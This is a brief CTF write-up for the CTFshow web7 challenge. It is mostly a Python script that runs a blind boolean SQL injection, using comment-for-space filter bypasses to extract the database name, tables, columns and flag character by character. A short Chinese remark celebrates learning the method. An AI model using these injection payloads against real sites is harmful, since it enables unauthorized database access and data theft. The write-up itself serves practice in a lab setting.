CTFshow web7

```php
# -*- coding: utf-8 -*-
"""
Created on Fri May 21 11:23:55 2021

@author: Administrator
"""


import requests
s=requests.session()
url="http://7341d132-e805-412d-8c9e-3402d7c1e803.challenge.ctf.show:8080/index.php?id=-1'/**/"
table=""

for i in range(1,50):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        #payload = "ascii(substr(database()/**/from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        #payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + 'or/**/' + payload).text

        if 'By Rudyard Kipling' in ra:
            table += chr(j)
            print(table)
            break
        

``
我他妈的要哭了，终于算是掌握了脚本爆破数据库名字的方法